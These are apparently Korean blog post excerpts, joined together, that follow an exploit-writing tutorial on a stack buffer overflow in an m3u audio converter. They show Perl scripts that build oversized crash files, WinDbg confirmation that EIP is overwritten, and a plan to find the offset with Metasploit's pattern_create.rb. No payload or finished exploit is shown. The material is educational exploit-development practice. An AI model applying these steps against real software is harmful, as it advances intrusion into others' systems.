버퍼 오버 플로우가 발생한 뒤의 ESP는 EIP 위에 놓이게 된다~! 4. 공격자가 EIP 를 통제할 수 있게 되면 공격자의 궁극적인 의도를 싷할 쉘코드 를 가진 곳을 EIP가 가리키도록 해야한다. ...

이제 test 스크립트를 수정하면서 메모리 위치 범위를 좁혀 나가자. 목표  EIP를 정확히 덮어쓰기 위해 Kali metasploit의 툴을 이용한다. 과정 1. test.pl 스크립트 수정을 통해 위치 범위를 좁혀 나가보자. 수정한 스크립트는 25,000개의 A와 5,000개의 B를 가지고 있다. 만약 EIP가 41414141을 가지고 있다면, EIP는 20,000 ~ 25,000 개 사이에 있을 것이고 424242라면 25,000 ~ 30,000 사이에 위치할 것이다. my $file = "crash25000.m3u"; my $junk = "\x41" x 25000; my $junk2 = "\x42" x 5000; open($FILE, ">$file"); print $FILE $junk.$junk2; close($FILE); print "m3u File Created Successfully \n"; 2. 수행 결과(쉬우므로 생략), EIP가 42424242(BBBB)를 가지고 있음이 밝혀졌고, 이제 우리는 EIP가 25,000~30,000 사이의 offset을 가지고 있음을 알 수 있다. 이것은 나머지 'B'들이 ESP가 가리키는 곳 어딘가에 있다는 것을 의미한다. 3. ESP의 내용을 덤프해보자. EIP 뿐만 아니라 ESP에도 공격자가 입력한 버퍼값을 확인할 수 있다. 스크립트를 일부 수정하기 전에 EIP를 정확히 덮어쓰기 위한 위치 발견을 위해 Metasploit을 사용해 보겠다. 4. Metasploit은 오프셋을 계산하는데 도움이 되는 pattern_create.rb 도구를 가지고 있다. 이 도구는 유일한 패턴을 가진 문자열을 생성한다. 이 패턴을 이용해 우리는 EIP에 덮어쓰기 위한 정확한 버퍼의 크기를 알아낼 수 있다. 먼저 5,000개의 문자로 된 하나의 패턴을 만들...

이제 디버거를 통해 스택 오버 플로우가 일어나는 과정을 드디어 볼것이다. 목표 스택에 버퍼 오버 플로우를 일으켜 EIP 를 통제하기 하는 것을 windbg를 통해 확인한다. 과정 1. 우선 windbg -I 명령을 통해 post-motem 디버거로 등록하자. 이 기능을 사용할 경우 어플리케이션에 문제 발생 후에 해당 문제점에 대한 사후분석이 가능해진다. 즉, 오류가 발생하면 디버거가 자동으로 이를 포착한다. 꼭 windbg 가 있는 디렉토리로 들어가서 windbg -I 명령어를 써야한다! windbg 우클릭 후 속성에 가면 위치가 있을 것이니 복사해서 cd 명령어를 통해 들어가도록 하자. 2. test.pl 파일을 좀 수정해야한다. my $junk = "\x41" x 10000; -> my $junk = "\x41" x 30000; 왜냐하면 10000은 오버 플로우가 발생하지 않는다. exploit writing 문서에는 3만 이상으로 해야 오버 플로우가 난다고 명시만 되어있다. 하지만 코드는 수정이 안됐는지 오류가 뜨지 않아서 수정해야했다. 3. 이제 converter 프로그램을 사용해서 오류가 나도록 해보자. crash 파일을 load 하자 windbg가 오류를 감지하고 자동으로 실행되어 오류 지점을 보여준다. 4. 위 사진에서 주목해야할 부분은 eip=4141414141 과 41414141 ??  ??? 이다. 왜냐하면 우리는 방금 소목표를 이루었기 때문이다. 즉, EIP 값을 오버 플로우를 통해 41414141로 바꾸었다. 5. 우리가 앞에서 작성한 crash.m3u 파일이 버퍼로 읽혀 버퍼가 오버플로우 되는 것처럼 보인다. 버퍼로 채워지는 정확한 양을 알 수 있다면 EIP 값을 완전히 통제 가능할 것이다. 이런 형태의 취약점을 흔히 스택 오버플로우라 부른다. 여기서 중요한 것은, 정확한 버퍼 크기를 알아내, 정확하게 EIP를 덮어쓰는 것이다. 다음 소목표...